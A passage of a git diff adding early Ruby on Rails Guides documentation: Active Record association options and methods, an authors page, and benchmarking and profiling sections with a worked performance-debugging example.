+Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself.
+
+NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement.
+
+===== +:dependent+
+
+If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the +:dependent+ option to +:delete_all+, then deleting this object will delete the associated objects _without_ calling their +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the associated objects to +NULL+.
+
+NOTE: This option is ignored when you use the +:through+ option on the association.
+
+===== +:extend+
+
+The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.
+
+===== +:finder_sql+
+
+Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
+
+===== +:foreign_key+
+
+By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+ has_many :orders, :foreign_key => "cust_id"
+end
+-------------------------------------------------------
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+===== +:group+
+
+The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+ has_many :line_items, :through => :orders, :group => "orders.id"
+end
+-------------------------------------------------------
+
+===== +:include+
+
+You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+class Order < ActiveRecord::Base
+ belongs_to :customer
+ has_many :line_items
+end
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+end
+-------------------------------------------------------
+
+If you frequently retrieve line items directly from customers (+@customer.orders.line_items+), then you can make your code somewhat more efficient by including line items in the association from customers to orders:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+ has_many :orders, :include => :line_items
+end
+class Order < ActiveRecord::Base
+ belongs_to :customer
+ has_many :line_items
+end
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+end
+-------------------------------------------------------
+
+===== +:limit+
+
+The +:limit+ option lets you restrict the total number of objects that will be fetched through an association.
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+ has_many :recent_orders, :class_name => "Order", :order => "order_date DESC", :limit => 100
+end
+-------------------------------------------------------
+
+===== +:offset+
+
+The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 10 records.
+
+===== +:order+
+
+The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause).
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+ has_many :orders, :order => "date_confirmed DESC"
+end
+-------------------------------------------------------
+
+===== +:primary_key+
+
+By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
+
+===== +:readonly+
+
+If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association.
+
+===== +:select+
+
+The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
+WARNING: If you specify your own +:select+, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
+
+===== +:source+
+
+The +:source+ option specifies the source association name for a +has_many :through+ association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
+
+===== +:source_type+
+
+The +:source_type+ option specifies the source association type for a +has_many :through+ association that proceeds through a polymorphic association.
+
+===== +:through+
+
+The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.
+
+===== +:uniq+
+
+Specify the +:uniq => true+ option to remove duplicates from the collection. This is most useful in conjunction with the +:through+ option.
+
+===== +:validate+
+
+If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
+
+==== When are Objects Saved?
+
+When you assign an object to a +has_many+ association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
+
+If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
+
+If the parent object (the one declaring the +has_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
+If you want to assign an object to a +has_many+ association without saving the object, use the +_collection_.build+ method.
+
+=== The +has_and_belongs_to_many+ Association
+
+The +has_and_belongs_to_many+ association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
+
+==== Methods Added
+
+When you declare a +has_and_belongs_to_many+ association, the declaring class automatically gains 13 methods related to the association:
+
+* +_collection_(force_reload = false)+
+* +_collection_<<(object, ...)+
+* +_collection_.delete(object, ...)+
+* +_collection_=objects+
+* +_collection\_singular_\_ids+
+* +_collection\_singular_\_ids=ids+
+* +_collection_.clear+
+* +_collection_.empty?+
+* +_collection_.size+
+* +_collection_.find(...)+
+* +_collection_.exist?(...)+
+* +_collection_.build(attributes = {})+
+* +_collection_.create(attributes = {})+
+
+In all of these methods, +_collection_+ is replaced with the symbol passed as the first argument to +has_many+, and +_collection_\_singular+ is replaced with the singularized version of that symbol.. For example, given the declaration:
+
+[source, ruby]
+-------------------------------------------------------
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+-------------------------------------------------------
+
+Each instance of the part model will have these methods:
+
+[source, ruby]
+-------------------------------------------------------
+assemblies(force_reload = false)
+assemblies<<(object, ...)
+assemblies.delete(object, ...)
+assemblies=objects
+assembly_ids
+assembly_ids=ids
+assemblies.clear
+assemblies.empty?
+assemblies.size
+assemblies.find(...)
+assemblies.exist?(...)
+assemblies.build(attributes = {}, ...)
+assemblies.create(attributes = {})
+-------------------------------------------------------
+
+===== Additional Column Methods
+
+If the join table for a +has_and_belongs_to_many+ association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
+
+WARNING: The use of extra attributes on the join table in a +has_and_belongs_to_many+ association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a +has_many :through+ association instead of +has_and_belongs_to_many+.
+
+
+===== +_collection_(force_reload = false)+
+
+The +_collection_+ method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+[source, ruby]
+-------------------------------------------------------
+@assemblies = @part.assemblies
+-------------------------------------------------------
+
+===== +_collection_<<(object, ...)+
+
+The +_collection_<<+ method adds one or more objects to the collection by creating records in the join table.
+
+[source, ruby]
+-------------------------------------------------------
+@part.assemblies << @assembly1
+-------------------------------------------------------
+
+NOTE: This method is aliased as +_collection_.concat+ and +_collection_.push+.
+
+===== +_collection_.delete(object, ...)+
+
+The +_collection_.delete+ method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
+
+[source, ruby]
+-------------------------------------------------------
+@part.assemblies.delete(@assembly1)
+-------------------------------------------------------
+
+===== +_collection_=objects+
+
+The +_collection_=+ method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+
+===== +_collection\_singular_\_ids+
+
+# Returns an array of the associated objects' ids
+
+The +_collection\_singular_\_ids+ method returns an array of the ids of the objects in the collection.
+
+[source, ruby]
+-------------------------------------------------------
+@assembly_ids = @part.assembly_ids
+-------------------------------------------------------
+
+===== +_collection\_singular_\_ids=ids+
+
+The +_collection\_singular_\_ids=+ method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+
+===== +_collection_.clear+
+
+The +_collection_.clear+ method removes every object from the collection by deleting the rows from the joining tableassociation. This does not destroy the associated objects.
+
+===== +_collection_.empty?+
+
+The +_collection_.empty?+ method returns +true+ if the collection does not contain any associated objects.
+
+[source, ruby]
+-------------------------------------------------------
+<% if @part.assemblies.empty? %>
+ This part is not used in any assemblies
+<% end %>
+-------------------------------------------------------
+
+===== +_collection_.size+
+
+The +_collection_.size+ method returns the number of objects in the collection.
+
+[source, ruby]
+-------------------------------------------------------
+@assembly_count = @part.assemblies.size
+-------------------------------------------------------
+
+===== +_collection_.find(...)+
+
+The +_collection_.find+ method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection.
+
+[source, ruby]
+-------------------------------------------------------
+@new_assemblies = @part.assemblies.find(:all, :conditions => ["created_at > ?", 2.days.ago])
+-------------------------------------------------------
+
+===== +_collection_.exist?(...)+
+
+The +_collection_.exist?+ method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
+
+===== +_collection_.build(attributes = {})+
+
+The +_collection_.build+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
+
+[source, ruby]
+-------------------------------------------------------
+@assembly = @part.assemblies.build({:assembly_name => "Transmission housing"})
+-------------------------------------------------------
+
+===== +_collection_.create(attributes = {})+
+
+The +_collection_.create+ method returns a new object of the associated type. This objects will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations).
+
+[source, ruby]
+-------------------------------------------------------
+@assembly = @part.assemblies.create({:assembly_name => "Transmission housing"})
+-------------------------------------------------------
+
+==== Options for has_and_belongs_to_many
+
+In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section cover the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, :uniq => true, :read_only => true
+end
+-------------------------------------------------------
+
+The +has_and_belongs_to_many+ association supports these options:
+
+// * +:accessible+
+* +:association_foreign_key+
+* +:class_name+
+* +:conditions+
+* +:counter_sql+
+* +:delete_sql+
+* +:extend+
+* +:finder_sql+
+* +:foreign_key+
+* +:group+
+* +:include+
+* +:insert_sql+
+* +:join_table+
+* +:limit+
+* +:offset+
+* +:order+
+* +:readonly+
+* +:select+
+* +:uniq+
+* +:validate+
+
+// ===== +:accessible+
+//
+// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
+//
+===== +:association_foreign_key+
+
+By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly:
+
+TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example:
+
+[source, ruby]
+-------------------------------------------------------
+class User < ActiveRecord::Base
+ has_and_belongs_to_many :friends, :class_name => "User",
+ :foreign_key => "this_user_id", :association_foreign_key => "other_user_id"
+end
+-------------------------------------------------------
+
+===== +:class_name+
+
+If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is +Gadget+, you'd set things up this way:
+
+[source, ruby]
+-------------------------------------------------------
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, :class_name => "Gadget"
+end
+-------------------------------------------------------
+
+===== +:conditions+
+
+The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
+
+[source, ruby]
+-------------------------------------------------------
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, :conditions => "factory = 'Seattle'"
+end
+-------------------------------------------------------
+
+You can also set conditions via a hash:
+
+[source, ruby]
+-------------------------------------------------------
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, :conditions => { :factory => 'Seattle' }
+end
+-------------------------------------------------------
+
+If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@parts.assemblies.create+ or +@parts.assemblies.build+ will create orders where the factory column has the value "Seattle".
+
+===== +:counter_sql+
+
+Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself.
+
+NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement.
+
+===== +:delete_sql+
+
+Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the +:delete_sql+ option, you can specify a complete SQL statement to delete them yourself.
+
+===== +:extend+
+
+The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.
+
+===== +:finder_sql+
+
+Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
+
+===== +:foreign_key+
+
+By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
+
+[source, ruby]
+-------------------------------------------------------
+class User < ActiveRecord::Base
+ has_and_belongs_to_many :friends, :class_name => "User",
+ :foreign_key => "this_user_id", :association_foreign_key => "other_user_id"
+end
+-------------------------------------------------------
+
+===== +:group+
+
+The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
+
+[source, ruby]
+-------------------------------------------------------
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, :group => "factory"
+end
+-------------------------------------------------------
+
+===== +:include+
+
+You can use the :include option to specify second-order associations that should be eager-loaded when this association is used.
+
+===== +:insert_sql+
+
+Normally Rails automatically generates the proper SQL to create links between the associated classes. With the +:insert_sql+ option, you can specify a complete SQL statement to insert them yourself.
+
+===== +:join_table+
+
+If the default name of the join table, based on lexical ordering, is not what you want, you can use the +:join_table+ option to override the default.
+
+===== +:limit+
+
+The +:limit+ option lets you restrict the total number of objects that will be fetched through an association.
+
+[source, ruby]
+-------------------------------------------------------
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, :order => "created_at DESC", :limit => 50
+end
+-------------------------------------------------------
+
+===== +:offset+
+
+The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 10 records.
+
+===== +:order+
+
+The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause).
+
+[source, ruby]
+-------------------------------------------------------
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, :order => "assembly_name ASC"
+end
+-------------------------------------------------------
+
+===== +:readonly+
+
+If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association.
+
+===== +:select+
+
+The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
+===== +:uniq+
+
+Specify the +:uniq => true+ option to remove duplicates from the collection.
+
+===== +:validate+
+
+If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
+
+==== When are Objects Saved?
+
+When you assign an object to a +has_and_belongs_to_many+ association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
+
+If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
+
+If the parent object (the one declaring the +has_and_belongs_to_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
+If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the +_collection_.build+ method.
+
+=== Association Callbacks
+
+Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a +:before_save+ callback to cause something to happen just before an object is saved.
+
+Association callbacks are similar to normal callbacks, but they are triggered by events in the lifecycle of a collection. There are four available association callbacks:
+
+* +before_add+
+* +after_add+
+* +before_remove+
+* +after_remove+
+
+You define association callbacks by adding options to the association declaration. For example:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+ has_many :orders, :before_add => :check_credit_limit
+
+ def check_credit_limit(order)
+ ...
+ end
+end
+-------------------------------------------------------
+
+Rails passes the object being added or removed to the callback.
+
+You can stack callbacks on a single event by passing them as an array:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+ has_many :orders, :before_add => [:check_credit_limit, :calculate_shipping_charges]
+
+ def check_credit_limit(order)
+ ...
+ end
+
+ def calculate_shipping_charges(order)
+ ...
+ end
+end
+-------------------------------------------------------
+
+If a +before_add+ callback throws an exception, the object does not get added to the collection. Similarly, if a +before_remove+ callback throws an exception, the object does not get removed from the collection.
+
+=== Association Extensions
+
+You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+ has_many :orders do
+ def find_by_order_prefix(order_number)
+ find_by_region_id(order_number[0..2])
+ end
+ end
+end
+-------------------------------------------------------
+
+If you have an extension that should be shared by many associations, you can use a named extension module. For example:
+
+[source, ruby]
+-------------------------------------------------------
+module FindRecentExtension
+ def find_recent
+ find(:all, :conditions => ["created_at > ?", 5.days.ago])
+ end
+end
+
+class Customer < ActiveRecord::Base
+ has_many :orders, :extend => FindRecentExtension
+end
+
+class Supplier < ActiveRecord::Base
+ has_many :deliveries, :extend => FindRecentExtension
+end
+-------------------------------------------------------
+
+To include more than one extension module in a single association, specify an array of names:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+ has_many :orders, :extend => [FindRecentExtension, FindActiveExtension]
+end
+-------------------------------------------------------
+
+Extensions can refer to the internals of the association proxy using these three accessors:
+
+* +proxy_owner+ returns the object that the association is a part of.
+* +proxy_reflection+ returns the reflection object that describes the association.
+* +proxy_target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+.
+
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11[Lighthouse ticket]
+
+* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by link:../authors.html#mgunderloy[Mike Gunderloy] . First release version.
+* September 22, 2008: Added diagrams, misc. cleanup by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
+* September 14, 2008: initial version by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
diff --git a/vendor/rails/railties/doc/guides/source/authors.txt b/vendor/rails/railties/doc/guides/source/authors.txt
new file mode 100644
index 00000000..94dfc4db
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/authors.txt
@@ -0,0 +1,39 @@
+About the Authors
+=================
+
+.Frederick Cheung
+[[fcheung]]
+***********************************************************
+Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006.
+He is based in Cambridge (UK) and when not consuming fine ales he blogs at http://www.spacevatican.org[spacevatican.org].
+***********************************************************
+
+.Mike Gunderloy
+[[mgunderloy]]
+***********************************************************
+Mike Gunderloy is an independent consultant who brings 25 years of experience in a variety of languages to bear on his current
+work with Rails. His near-daily links and other blogging can be found at http://afreshcup.com[A Fresh Cup].
+***********************************************************
+
+.Emilio Tagua
+[[miloops]]
+***********************************************************
+Emilio Tagua -- a.k.a. miloops -- is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist.
+Cofounder of http://www.eventioz.com[Eventioz]. He has been using Rails since 2006 and contributing since early 2008.
+Can be found at gmail, twitter, freenode, everywhere as miloops.
+***********************************************************
+
+.Heiko Webers
+[[hawe]]
+***********************************************************
+Heiko Webers is the founder of http://www.bauland42.de[bauland42], a German web application security consulting and development
+company focused on Ruby on Rails. He blogs at http://www.rorsecurity.info. After 10 years of desktop application development,
+Heiko has rarely looked back.
+***********************************************************
+
+.Tore Darell
+[[toretore]]
+***********************************************************
+Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails
+and unobtrusive JavaScript. His home on the internet is his blog http://tore.darell.no/[Sneaky Abstractions].
+***********************************************************
diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt
new file mode 100644
index 00000000..8e2e383f
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt
@@ -0,0 +1,95 @@
+== Other Profiling Tools ==
+
+There are a lot of great profiling tools out there. Some free, some not so free. This is a sort list detailing some of them.
+
+=== httperf ===
+http://www.hpl.hp.com/research/linux/httperf/[http://www.hpl.hp.com/research/linux/httperf/]
+
+A necessary tool in your arsenal. Very useful for load testing your website.
+
+#TODO write and link to a short article on how to use httperf. Anybody have a good tutorial availble.
+
+
+=== Rails Analyzer ===
+
+The Rails Analyzer project contains a collection of tools for Rails. It's open source and pretty speedy. It's not being actively worked on but is still contains some very useful tools.
+
+* The Production Log Analyzer examines Rails log files and gives back a report. It also includes action_grep which will give you all log results for a particular action.
+
+* The Action Profiler similar to Ruby-Prof profiler.
+
+* rails_stat which gives a live counter of requests per second of a running Rails app.
+
+* The SQL Dependency Grapher allows you to visualize the frequency of table dependencies in a Rails application.
+
+Their project homepage can be found at http://rails-analyzer.rubyforge.org/[http://rails-analyzer.rubyforge.org/]
+
+The one major caveat is that it needs your log to be in a different format from how rails sets it up specifically SyslogLogger.
+
+
+==== SyslogLogger ====
+
+SyslogLogger is a Logger work-alike that logs via syslog instead of to a file. You can add SyslogLogger to your Rails production environment to aggregate logs between multiple machines.
+
+More information can be found out at http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html[http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html]
+
+If you don't have access to your machines root system or just want something a bit easier to implement there is also a module developed by Geoffrey Grosenbach
+
+==== A Hodel 3000 Compliant Logger for the Rest of Us ====
+
+Directions taken from
+http://topfunky.net/svn/plugins/hodel_3000_compliant_logger/lib/hodel_3000_compliant_logger.rb[link to module file]
+
+Just put the module in your lib directory and add this to your environment.rb in it's config portion.
+
+------------------------------------------------------------
+require 'hodel_3000_compliant_logger'
+config.logger = Hodel3000CompliantLogger.new(config.log_path)
+-------------------------------------------------------------
+
+It's that simple. Your log output on restart should look like this.
+
+.Hodel 3000 Example
+----------------------------------------------------------------------------
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Parameters: {"action"=>"shipping", "controller"=>"checkout"}
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+[4;36;1mBook Columns (0.003155)[0m [0;1mSHOW FIELDS FROM `books`[0m
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+[4;35;1mBook Load (0.000881)[0m [0mSELECT * FROM `books` WHERE (`books`.`id` = 1 AND (`books`.`sold` = 1)) [0m
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+[4;36;1mShippingAddress Columns (0.002683)[0m [0;1mSHOW FIELDS FROM `shipping_addresses`[0m
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+[4;35;1mBook Load (0.000362)[0m [0mSELECT ounces FROM `books` WHERE (`books`.`id` = 1) [0m
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Rendering template within layouts/application
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Rendering checkout/shipping
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+[4;36;1mBook Load (0.000548)[0m [0;1mSELECT * FROM `books`
+WHERE (sold = 0) LIMIT 3[0m
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+[4;35;1mAuthor Columns (0.002571)[0m [0mSHOW FIELDS FROM `authors`[0m
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+[4;36;1mAuthor Load (0.000811)[0m [0;1mSELECT * FROM `authors` WHERE (`authors`.`id` = 1) [0m
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Rendered store/_new_books (0.01358)
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Completed in 0.37297 (2 reqs/sec) | Rendering: 0.02971 (7%) | DB: 0.01697 (4%) | 200 OK [https://secure.jeffbooks/checkout/shipping]
+----------------------------------------------------------------------------
+
+=== Palmist ===
+An open source mysql query analyzer. Full featured and easy to work with. Also requires Hodel 3000
+http://www.flyingmachinestudios.com/projects/[http://www.flyingmachinestudios.com/projects/]
+
+=== New Relic ===
+http://www.newrelic.com/[http://www.newrelic.com/]
+
+Pretty nifty performance tools, pricey though. They do have a basic free
+service both for when in development and when you put your application into production. Very simple installation and signup.
+
+#TODO more in-depth without being like an advertisement.
+
+==== Manage ====
+
+Like new relic a production monitoring tool.
diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt
new file mode 100644
index 00000000..fe22fba0
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt
@@ -0,0 +1,105 @@
+== Real Life Example ==
+=== The setup ===
+
+So I have been building this application for the last month and feel pretty good about the ruby code. I'm readying it for beta testers when I discover to my shock that with less then twenty people it starts to crash. It's a pretty simple Ecommerce site so I'm very confused by what I'm seeing. On running looking through my log files I find to my shock that the lowest time for a page run is running around 240 ms. My database finds aren't the problems so I'm lost as to what is happening to cause all this. Lets run a benchmark.
+
+
+[source, ruby]
+----------------------------------------------------------------------------
+class HomepageTest < ActionController::PerformanceTest
+ # Replace this with your real tests.
+ def test_homepage
+ get '/'
+ end
+end
+----------------------------------------------------------------------------
+
+.Output
+----------------------------------------------------------------------------
+HomepageTest#test_homepage (115 ms warmup)
+ process_time: 591 ms
+ memory: 3052.90 KB
+ objects: 59471
+----------------------------------------------------------------------------
+
+
+
+Obviously something is very very wrong here. 3052.90 Kb to load my minimal homepage. For Comparison for another site running well I get this for my homepage test.
+
+.Default
+----------------------------------------------------------------------------
+HomepageTest#test_homepage (19 ms warmup)
+ process_time: 26 ms
+ memory: 298.79 KB
+ objects: 1917
+----------------------------------------------------------------------------
+
+that over a factor of ten difference. Lets look at our flat process time file to see if anything pops out at us.
+
+.Process time
+----------------------------------------------------------------------------
+20.73 0.39 0.12 0.00 0.27 420 Pathname#cleanpath_aggressive
+17.07 0.14 0.10 0.00 0.04 3186 Pathname#chop_basename
+ 6.47 0.06 0.04 0.00 0.02 6571 Kernel#===
+ 5.04 0.06 0.03 0.00 0.03 840 Pathname#initialize
+ 5.03 0.05 0.03 0.00 0.02 4 ERB::Compiler::ExplicitScanner#scan
+ 4.51 0.03 0.03 0.00 0.00 9504 String#==
+ 2.94 0.46 0.02 0.00 0.44 1393 String#gsub
+ 2.66 0.09 0.02 0.00 0.07 480 Array#each
+ 2.46 0.01 0.01 0.00 0.00 3606 Regexp#to_s
+----------------------------------------------------------------------------
+
+Yes indeed we seem to have found the problem. Pathname#cleanpath_aggressive is taking nearly a quarter our process time and Pathname#chop_basename another 17%. From here I do a few more benchmarks to make sure that these processes are slowing down the other pages. They are so now I know what I must do. *If we can get rid of or shorten these processes we can make our pages run much quicker*.
+
+Now both of these are main ruby processes so are goal right now is to find out what other process is calling them. Glancing at our Graph file I see that #cleanpath is calling #cleanpath_aggressive. #cleanpath is being called by String#gsub and from there some html template errors. But my page seems to be rendering fine. why would it be calling template errors. I'm decide to check my object flat file to see if I can find any more information.
+
+.Objects Created
+----------------------------------------------------------------------------
+20.74 34800.00 12324.00 0.00 22476.00 420 Pathname#cleanpath_aggressive
+16.79 18696.00 9978.00 0.00 8718.00 3186 Pathname#chop_basename
+11.47 13197.00 6813.00 0.00 6384.00 480 Array#each
+ 8.51 41964.00 5059.00 0.00 36905.00 1386 String#gsub
+ 6.07 3606.00 3606.00 0.00 0.00 3606 Regexp#to_s
+----------------------------------------------------------------------------
+
+nope nothing new here. Lets look at memory usage
+
+.Memory Consuption
+----------------------------------------------------------------------------
+ 40.17 1706.80 1223.70 0.00 483.10 3186 Pathname#chop_basename
+ 14.92 454.47 454.47 0.00 0.00 3606 Regexp#to_s
+ 7.09 2381.36 215.99 0.00 2165.37 1386 String#gsub
+ 5.08 231.19 154.73 0.00 76.46 420 Pathname#prepend_prefix
+ 2.34 71.35 71.35 0.00 0.00 1265 String#initialize_copy
+----------------------------------------------------------------------------
+
+Ok so it seems Regexp#to_s is the second costliest process. At this point I try to figure out what could be calling a regular expression cause I very rarely use them. Going over my standard layout I discover at the top.
+
+
+[source, html]
+----------------------------------------------------------------------------
+<%if request.env["HTTP_USER_AGENT"].match(/Opera/)%>
+<%= stylesheet_link_tag "opera" %>
+<% end %>
+----------------------------------------------------------------------------
+
+That's wrong. I mistakenly am using a search function for a simple compare function. Lets fix that.
+
+
+[source, html]
+----------------------------------------------------------------------------
+<%if request.env["HTTP_USER_AGENT"] =~ /Opera/%>
+<%= stylesheet_link_tag "opera" %>
+<% end %>
+----------------------------------------------------------------------------
+
+I'll now try my test again.
+
+----------------------------------------------------------------------------
+process_time: 75 ms
+ memory: 519.95 KB
+ objects: 6537
+----------------------------------------------------------------------------
+
+Much better. The problem has been solved. Now I should have realized earlier due to the String#gsub that my problem had to be with reqexp serch function but such knowledge comes with time. Looking through the mass output data is a skill.
+
